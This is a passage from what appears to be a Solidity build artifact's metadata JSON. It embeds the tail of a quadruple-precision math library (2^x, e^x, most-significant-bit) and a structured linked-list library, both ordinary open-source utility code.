1;\\n }\\n\\n uint256 resultSignifier = 0x80000000000000000000000000000000;\\n if (xSignifier & 0x80000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x16A09E667F3BCC908B2FB1366EA957D3E) >>\\n 128;\\n if (xSignifier & 0x40000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1306FE0A31B7152DE8D5A46305C85EDEC) >>\\n 128;\\n if (xSignifier & 0x20000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1172B83C7D517ADCDF7C8C50EB14A791F) >>\\n 128;\\n if (xSignifier & 0x10000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10B5586CF9890F6298B92B71842A98363) >>\\n 128;\\n if (xSignifier & 0x8000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1059B0D31585743AE7C548EB68CA417FD) >>\\n 128;\\n if (xSignifier & 0x4000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x102C9A3E778060EE6F7CACA4F7A29BDE8) >>\\n 128;\\n if (xSignifier & 0x2000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10163DA9FB33356D84A66AE336DCDFA3F) >>\\n 128;\\n if (xSignifier & 0x1000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100B1AFA5ABCBED6129AB13EC11DC9543) >>\\n 128;\\n if (xSignifier & 0x800000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10058C86DA1C09EA1FF19D294CF2F679B) >>\\n 128;\\n if (xSignifier & 0x400000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1002C605E2E8CEC506D21BFC89A23A00F) >>\\n 128;\\n if (xSignifier & 0x200000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100162F3904051FA128BCA9C55C31E5DF) >>\\n 128;\\n if (xSignifier & 0x100000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000B175EFFDC76BA38E31671CA939725) >>\\n 128;\\n if (xSignifier & 0x80000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100058BA01FB9F96D6CACD4B180917C3D) >>\\n 128;\\n if (xSignifier & 0x40000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10002C5CC37DA9491D0985C348C68E7B3) >>\\n 128;\\n if (xSignifier & 0x20000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000162E525EE054754457D5995292026) >>\\n 128;\\n if (xSignifier & 0x10000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000B17255775C040618BF4A4ADE83FC) >>\\n 128;\\n if (xSignifier & 0x8000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000058B91B5BC9AE2EED81E9B7D4CFAB) >>\\n 128;\\n if (xSignifier & 0x4000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100002C5C89D5EC6CA4D7C8ACC017B7C9) >>\\n 128;\\n if (xSignifier & 0x2000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000162E43F4F831060E02D839A9D16D) >>\\n 128;\\n if (xSignifier & 0x1000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000B1721BCFC99D9F890EA06911763) >>\\n 128;\\n if (xSignifier & 0x800000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000058B90CF1E6D97F9CA14DBCC1628) >>\\n 128;\\n if (xSignifier & 0x400000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000002C5C863B73F016468F6BAC5CA2B) >>\\n 128;\\n if (xSignifier & 0x200000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000162E430E5A18F6119E3C02282A5) >>\\n 128;\\n if (xSignifier & 0x100000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000B1721835514B86E6D96EFD1BFE) >>\\n 128;\\n if (xSignifier & 0x80000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000058B90C0B48C6BE5DF846C5B2EF) >>\\n 128;\\n if (xSignifier & 0x40000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000002C5C8601CC6B9E94213C72737A) >>\\n 128;\\n if (xSignifier & 0x20000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000162E42FFF037DF38AA2B219F06) >>\\n 128;\\n if (xSignifier & 0x10000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000B17217FBA9C739AA5819F44F9) >>\\n 128;\\n if (xSignifier & 0x8000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000058B90BFCDEE5ACD3C1CEDC823) >>\\n 128;\\n if (xSignifier & 0x4000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000002C5C85FE31F35A6A30DA1BE50) >>\\n 128;\\n if (xSignifier & 0x2000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000162E42FF0999CE3541B9FFFCF) >>\\n 128;\\n if (xSignifier & 0x1000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000B17217F80F4EF5AADDA45554) >>\\n 128;\\n if (xSignifier & 0x800000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000058B90BFBF8479BD5A81B51AD) >>\\n 128;\\n if (xSignifier & 0x400000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000002C5C85FDF84BD62AE30A74CC) >>\\n 128;\\n if (xSignifier & 0x200000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000162E42FEFB2FED257559BDAA) >>\\n 128;\\n if (xSignifier & 0x100000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000B17217F7D5A7716BBA4A9AE) >>\\n 128;\\n if (xSignifier & 0x80000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000058B90BFBE9DDBAC5E109CCE) >>\\n 128;\\n if (xSignifier & 0x40000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000002C5C85FDF4B15DE6F17EB0D) >>\\n 128;\\n if (xSignifier & 0x20000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000162E42FEFA494F1478FDE05) >>\\n 128;\\n if (xSignifier & 0x10000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000B17217F7D20CF927C8E94C) >>\\n 128;\\n if (xSignifier & 0x8000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000058B90BFBE8F71CB4E4B33D) >>\\n 128;\\n if (xSignifier & 0x4000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000002C5C85FDF477B662B26945) >>\\n 128;\\n if (xSignifier & 0x2000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000162E42FEFA3AE53369388C) >>\\n 128;\\n if (xSignifier & 0x1000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000B17217F7D1D351A389D40) >>\\n 128;\\n if (xSignifier & 0x800000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000058B90BFBE8E8B2D3D4EDE) >>\\n 128;\\n if (xSignifier & 0x400000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000002C5C85FDF4741BEA6E77E) >>\\n 128;\\n if (xSignifier & 0x200000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000162E42FEFA39FE95583C2) >>\\n 128;\\n if (xSignifier & 0x100000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000B17217F7D1CFB72B45E1) >>\\n 128;\\n if (xSignifier & 0x80000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000058B90BFBE8E7CC35C3F0) >>\\n 128;\\n if (xSignifier & 0x40000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000002C5C85FDF473E242EA38) >>\\n 128;\\n if (xSignifier & 0x20000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000162E42FEFA39F02B772C) >>\\n 128;\\n if (xSignifier & 0x10000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000B17217F7D1CF7D83C1A) >>\\n 128;\\n if (xSignifier & 0x8000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000058B90BFBE8E7BDCBE2E) >>\\n 128;\\n if (xSignifier & 0x4000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000002C5C85FDF473DEA871F) >>\\n 128;\\n if (xSignifier & 0x2000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000162E42FEFA39EF44D91) >>\\n 128;\\n if (xSignifier & 0x1000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000B17217F7D1CF79E949) >>\\n 128;\\n if (xSignifier & 0x800000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000058B90BFBE8E7BCE544) >>\\n 128;\\n if (xSignifier & 0x400000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000002C5C85FDF473DE6ECA) >>\\n 128;\\n if (xSignifier & 0x200000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000162E42FEFA39EF366F) >>\\n 128;\\n if (xSignifier & 0x100000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000B17217F7D1CF79AFA) >>\\n 128;\\n if (xSignifier & 0x80000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000058B90BFBE8E7BCD6D) >>\\n 128;\\n if (xSignifier & 0x40000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000002C5C85FDF473DE6B2) >>\\n 128;\\n if (xSignifier & 0x20000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000162E42FEFA39EF358) >>\\n 128;\\n if (xSignifier & 0x10000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000B17217F7D1CF79AB) >>\\n 128;\\n if (xSignifier & 0x8000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000058B90BFBE8E7BCD5) >>\\n 128;\\n if (xSignifier & 0x4000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000002C5C85FDF473DE6A) >>\\n 128;\\n if (xSignifier & 0x2000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000162E42FEFA39EF34) >>\\n 128;\\n if (xSignifier & 0x1000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000B17217F7D1CF799) >>\\n 128;\\n if (xSignifier & 0x800000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000058B90BFBE8E7BCC) >>\\n 128;\\n if (xSignifier & 0x400000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000002C5C85FDF473DE5) >>\\n 128;\\n if (xSignifier & 0x200000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000162E42FEFA39EF2) >>\\n 128;\\n if (xSignifier & 0x100000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000B17217F7D1CF78) >>\\n 128;\\n if (xSignifier & 0x80000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000058B90BFBE8E7BB) >>\\n 128;\\n if (xSignifier & 0x40000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000002C5C85FDF473DD) >>\\n 128;\\n if (xSignifier & 0x20000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000162E42FEFA39EE) >>\\n 128;\\n if (xSignifier & 0x10000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000B17217F7D1CF6) >>\\n 128;\\n if (xSignifier & 0x8000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000058B90BFBE8E7A) >>\\n 128;\\n if (xSignifier & 0x4000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000002C5C85FDF473C) >>\\n 128;\\n if (xSignifier & 0x2000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000162E42FEFA39D) >>\\n 128;\\n if (xSignifier & 0x1000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000B17217F7D1CE) >>\\n 128;\\n if (xSignifier & 0x800000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000058B90BFBE8E6) >>\\n 128;\\n if (xSignifier & 0x400000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000002C5C85FDF472) >>\\n 128;\\n if (xSignifier & 0x200000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000162E42FEFA38) >>\\n 128;\\n if (xSignifier & 0x100000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000B17217F7D1B) >>\\n 128;\\n if (xSignifier & 0x80000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000058B90BFBE8D) >>\\n 128;\\n if (xSignifier & 0x40000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000002C5C85FDF46) >>\\n 128;\\n if (xSignifier & 0x20000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000162E42FEFA2) >>\\n 128;\\n if (xSignifier & 0x10000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000B17217F7D0) >>\\n 128;\\n if (xSignifier & 0x8000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000058B90BFBE7) >>\\n 128;\\n if (xSignifier & 0x4000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000002C5C85FDF3) >>\\n 128;\\n if (xSignifier & 0x2000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000162E42FEF9) >>\\n 128;\\n if (xSignifier & 0x1000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000B17217F7C) >>\\n 128;\\n if (xSignifier & 0x800000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000058B90BFBD) >>\\n 128;\\n if (xSignifier & 0x400000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000002C5C85FDE) >>\\n 128;\\n if (xSignifier & 0x200000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000162E42FEE) >>\\n 128;\\n if (xSignifier & 0x100000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000B17217F6) >>\\n 128;\\n if (xSignifier & 0x80000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000058B90BFA) >>\\n 128;\\n if (xSignifier & 0x40000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000002C5C85FC) >>\\n 128;\\n if (xSignifier & 0x20000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000162E42FD) >>\\n 128;\\n if (xSignifier & 0x10000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000B17217E) >>\\n 128;\\n if (xSignifier & 0x8000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000058B90BE) >>\\n 128;\\n if (xSignifier & 0x4000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000002C5C85E) >>\\n 128;\\n if (xSignifier & 0x2000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000162E42E) >>\\n 128;\\n if (xSignifier & 0x1000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000B17216) >>\\n 128;\\n if (xSignifier & 0x800000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000058B90A) >>\\n 128;\\n if (xSignifier & 0x400000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000002C5C84) >>\\n 128;\\n if (xSignifier & 0x200000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000162E41) >>\\n 128;\\n if (xSignifier & 0x100000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000000B1720) >>\\n 128;\\n if (xSignifier & 0x80000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000058B8F) >>\\n 128;\\n if (xSignifier & 0x40000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000002C5C7) >>\\n 128;\\n if (xSignifier & 0x20000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000000162E3) >>\\n 128;\\n if (xSignifier & 0x10000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000000B171) >>\\n 128;\\n if (xSignifier & 0x8000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000000058B8) >>\\n 128;\\n if (xSignifier & 0x4000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000002C5B) >>\\n 128;\\n if (xSignifier & 0x2000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000000162D) >>\\n 128;\\n if (xSignifier & 0x1000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000000B16) >>\\n 128;\\n if (xSignifier & 0x800 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000000058A) >>\\n 128;\\n if (xSignifier & 0x400 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000000002C4) >>\\n 128;\\n if (xSignifier & 0x200 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000000161) >>\\n 128;\\n if (xSignifier & 0x100 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000000000B0) >>\\n 128;\\n if (xSignifier & 0x80 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000000057) >>\\n 128;\\n if (xSignifier & 0x40 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000000002B) >>\\n 128;\\n if (xSignifier & 0x20 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000000015) >>\\n 128;\\n if (xSignifier & 0x10 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000000000A) >>\\n 128;\\n if (xSignifier & 0x8 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000000004) >>\\n 128;\\n if (xSignifier & 0x4 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000000001) >>\\n 128;\\n\\n if (!xNegative) {\\n resultSignifier =\\n (resultSignifier >> 15) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n resultExponent += 0x3FFF;\\n } else if (resultExponent <= 0x3FFE) {\\n resultSignifier =\\n (resultSignifier >> 15) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n resultExponent = 0x3FFF - resultExponent;\\n } else {\\n resultSignifier =\\n resultSignifier >>\\n (resultExponent - 16367);\\n resultExponent = 0;\\n }\\n\\n return\\n bytes16(uint128((resultExponent << 112) | resultSignifier));\\n }\\n }\\n }\\n\\n /**\\n * Calculate e^x.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function exp(bytes16 x) internal pure returns (bytes16) {\\n unchecked {return pow_2(mul(x, 0x3FFF71547652B82FE1777D0FFDA0D23A));}\\n }\\n\\n /**\\n * Get index of the most significant non-zero bit in binary representation of\\n * x. Reverts if x is zero.\\n *\\n * @return index of the most significant non-zero bit in binary representation\\n * of x\\n */\\n function mostSignificantBit(uint256 x) private pure returns (uint256) {\\n unchecked {\\n require(x > 0);\\n\\n uint256 result = 0;\\n\\n if (x >= 0x100000000000000000000000000000000) {\\n x >>= 128;\\n result += 128;\\n }\\n if (x >= 0x10000000000000000) {\\n x >>= 64;\\n result += 64;\\n }\\n if (x >= 0x100000000) {\\n x >>= 32;\\n result += 32;\\n }\\n if (x >= 0x10000) {\\n x >>= 16;\\n result += 16;\\n }\\n if (x >= 0x100) {\\n x >>= 8;\\n result += 8;\\n }\\n if (x >= 0x10) {\\n x >>= 4;\\n result += 4;\\n }\\n if (x >= 0x4) {\\n x >>= 2;\\n result += 2;\\n }\\n if (x >= 0x2) result += 1; // No need to shift x anymore\\n\\n return result;\\n }\\n }\\n}\\n\",\"keccak256\":\"0xf1ea6500a79e267f34706407d32ece0cfb98b500920d77f43d535ea267b1fbb4\",\"license\":\"BSD-4-Clause\"},\"solidity-linked-list/contracts/StructuredLinkedList.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\ninterface IStructureInterface {\\n function getValue(uint256 _id) external view returns (uint256);\\n}\\n\\n/**\\n * @title StructuredLinkedList\\n * @author Vittorio Minacori (https://github.com/vittominacori)\\n * @dev An utility library for using sorted linked list data structures in your Solidity project.\\n */\\nlibrary StructuredLinkedList {\\n\\n uint256 private constant _NULL = 0;\\n uint256 private constant _HEAD = 0;\\n\\n bool private constant _PREV = false;\\n bool private constant _NEXT = true;\\n\\n struct List {\\n uint256 size;\\n mapping(uint256 => mapping(bool => uint256)) list;\\n }\\n\\n /**\\n * @dev Checks if the list exists\\n * @param self stored linked list from contract\\n * @return bool true if list exists, false otherwise\\n */\\n function listExists(List storage self) internal view returns (bool) {\\n // if the head nodes previous or next pointers both point to itself, then there are no items in the list\\n if (self.list[_HEAD][_PREV] != _HEAD || self.list[_HEAD][_NEXT] != _HEAD) {\\n return true;\\n } else {\\n return false;\\n }\\n }\\n\\n /**\\n * @dev Checks if the node exists\\n * @param self stored linked list from contract\\n * @param _node a node to search for\\n * @return bool true if node exists, false otherwise\\n */\\n function nodeExists(List storage self, uint256 _node) internal view returns (bool) {\\n if (self.list[_node][_PREV] == _HEAD && self.list[_node][_NEXT] == _HEAD) {\\n if (self.list[_HEAD][_NEXT] == _node) {\\n return true;\\n } else {\\n return false;\\n }\\n } else {\\n return true;\\n }\\n }\\n\\n /**\\n * @dev Returns the number of elements in the list\\n * @param self stored linked list from contract\\n * @return uint256\\n */\\n function sizeOf(List storage self) internal view returns (uint256) {\\n return self.size;\\n }\\n\\n /**\\n * @dev Returns the links of a node as a tuple\\n * @param self stored linked list from contract\\n * @param _node id of the node to get\\n * @return bool, uint256, uint256 true if node exists or false otherwise, previous node, next node\\n */\\n function getNode(List storage self, uint256 _node) internal view returns (bool, uint256, uint256) {\\n if (!nodeExists(self, _node)) {\\n return (false, 0, 0);\\n } else {\\n return (true, self.list[_node][_PREV], self.list[_node][_NEXT]);\\n }\\n }\\n\\n /**\\n * @dev Returns the link of a node `_node` in direction `_direction`.\\n * @param self stored linked list from contract\\n * @param _node id of the node to step from\\n * @param _direction direction to step in\\n * @return bool, uint256 true if node exists or false otherwise, node in _direction\\n */\\n function getAdjacent(List storage self, uint256 _node, bool _direction) internal view returns (bool, uint256) {\\n if (!nodeExists(self, _node)) {\\n return (false, 0);\\n } else {\\n return (true, self.list[_node][_direction]);\\n }\\n }\\n\\n /**\\n * @dev Returns the link of a node `_node` in direction `_NEXT`.\\n * @param self stored linked list from contract\\n * @param _node id of the node to step from\\n * @return bool, uint256 true if node exists or false otherwise, next node\\n */\\n function getNextNode(List storage self, uint256 _node) internal view returns (bool, uint256) {\\n return getAdjacent(self, _node, _NEXT);\\n }\\n\\n /**\\n * @dev Returns the link of a node `_node` in direction `_PREV`.\\n * @param self stored linked list from contract\\n * @param _node id of the node to step from\\n * @return bool, uint256 true if node exists or false otherwise, previous node\\n */\\n function getPreviousNode(List storage self, uint256 _node) internal view returns (bool, uint256) {\\n return getAdjacent(self, _node, _PREV);\\n }\\n\\n /**\\n * @dev Can be used before `insert` to build an ordered list.\\n * @dev Get the node and then `insertBefore` or `insertAfter` basing on your list order.\\n * @dev If you want to order basing on other than `structure.getValue()` override this function\\n * @param self stored linked list from contract\\n * @param _structure the structure instance\\n * @param _value value to seek\\n * @return uint256 next node with a value less than _value\\n */\\n function getSortedSpot(List storage self, address _structure, uint256 _value) internal view returns (uint256) {\\n if (sizeOf(self) == 0) {\\n return 0;\\n }\\n\\n uint256 next;\\n (, next) = getAdjacent(self, _HEAD, _NEXT);\\n while ((next != 0) && ((_value < IStructureInterface(_structure).getValue(next)) != _NEXT)) {\\n next = self.list[next][_NEXT];\\n }\\n return next;\\n }\\n\\n /**\\n * @dev Insert node `_new` beside existing node `_node` in direction `_NEXT`.\\n * @param self stored linked list from contract\\n * @param _node existing node\\n * @param _new new node to insert\\n * @return bool true if success, false otherwise\\n */\\n function insertAfter(List storage self, uint256 _node, uint256 _new) internal returns (bool) {\\n return _insert(self, _node, _new, _NEXT);\\n }\\n\\n /**\\n * @dev Insert node `_new` beside existing node `_node` in direction `_PREV`.\\n * @param self stored linked list from contract\\n * @param _node existing node\\n * @param _new new node to insert\\n * @return bool true if success, false otherwise\\n */\\n function insertBefore(List storage self, uint256 _node, uint256 _new) internal returns (bool) {\\n return _insert(self, _node, _new, _PREV);\\n }\\n\\n /**\\n * @dev Removes an entry from the linked list\\n * @param self stored linked list from contract\\n * @param _node node to remove from the list\\n * @return uint256 the removed node\\n */\\n function remove(List storage self, uint256 _node) internal returns (uint256) {\\n if ((_node == _NULL) || (!nodeExists(self, _node))) {\\n return 0;\\n }\\n _createLink(self, self.list[_node][_PREV], self.list[_node][_NEXT], _NEXT);\\n delete self.list[_node][_PREV];\\n delete self.list[_node][_NEXT];\\n\\n self.size -= 1; // NOT: SafeMath library should be used here to decrement.\\n\\n return _node;\\n }\\n\\n /**\\n * @dev Pushes an entry to the head of the linked list\\n * @param self stored linked list from contract\\n * @param _node new entry to push to the head\\n * @return bool true if success, false otherwise\\n */\\n function pushFront(List storage self, uint256 _node) internal returns (bool) {\\n return _push(self, _node, _NEXT);\\n }\\n\\n /**\\n * @dev Pushes an entry to the tail of the linked list\\n * @param self stored linked list from contract\\n * @param _node new entry to push to the tail\\n * @return bool true if success, false otherwise\\n */\\n function pushBack(List storage self, uint256 _node) internal returns (bool) {\\n return _push(self, _node, _PREV);\\n }\\n\\n /**\\n * @dev Pops the first entry from the head of the linked list\\n * @param self stored linked list from contract\\n * @return uint256 the removed node\\n */\\n function popFront(List storage self) internal returns (uint256) {\\n return _pop(self, _NEXT);\\n }\\n\\n /**\\n * @dev Pops the first entry from the tail of the linked list\\n * @param self stored linked list from contract\\n * @return uint256 the removed node\\n */\\n function popBack(List storage self) internal returns (uint256) {\\n return _pop(self, _PREV);\\n }\\n\\n /**\\n * @dev Pushes an entry to the head of the linked list\\n * @param self stored linked list from contract\\n * @param _node new entry to push to the head\\n * @param _direction push to the head (_NEXT) or tail (_PREV)\\n * @return bool true if success, false otherwise\\n */\\n function _push(List storage self, uint256 _node, bool _direction) private returns (bool) {\\n return _insert(self, _HEAD, _node, _direction);\\n }\\n\\n /**\\n * @dev Pops the first entry from the linked list\\n * @param self stored linked list from contract\\n * @param _direction pop from the head (_NEXT) or the tail (_PREV)\\n * @return uint256 the removed node\\n */\\n function _pop(List storage self, bool _direction) private returns (uint256) {\\n uint256 adj;\\n (, adj) = getAdjacent(self, _HEAD, _direction);\\n return remove(self, adj);\\n }\\n\\n /**\\n * @dev Insert node `_new` beside existing node `_node` in direction `_direction`.\\n * @param self stored linked list from contract\\n * @param _node existing node\\n * @param _new new node to insert\\n * @param _direction direction to insert node in\\n * @return bool true if success, false otherwise\\n */\\n function _insert(List storage self, uint256 _node, uint256 _new, bool _direction) private returns (bool) {\\n if (!nodeExists(self, _new) && nodeExists(self, _node)) {\\n uint256 c = self.list[_node][_direction];\\n _createLink(self, _node, _new, _direction);\\n _createLink(self, _new, c, _direction);\\n\\n self.size += 1; // NOT: SafeMath library should be used here to increment.\\n\\n return true;\\n }\\n\\n return false;\\n }\\n\\n /**\\n * @dev Creates a bidirectional link between two nodes on direction `_direction`\\n * @param self stored linked list from contract\\n * @param _node existing node\\n * @param _link node to link to in the _direction\\n * @param _direction direction to insert node in\\n */\\n function _createLink(List storage self, uint256 _node, uint256 _link, bool _direction) private {\\n self.list[_link][!_direction] = _node;\\n self.list[_node][_direction] = _link;\\n }\\n}\\n\",\"keccak256\":\"0x3fc4b299c4950243c0d585247dd0d4c49ed576a663cb6e3a16a2ebe979ffbe0e\",\"license\":\"MIT\"}},\"version\":1}", - "bytecode": 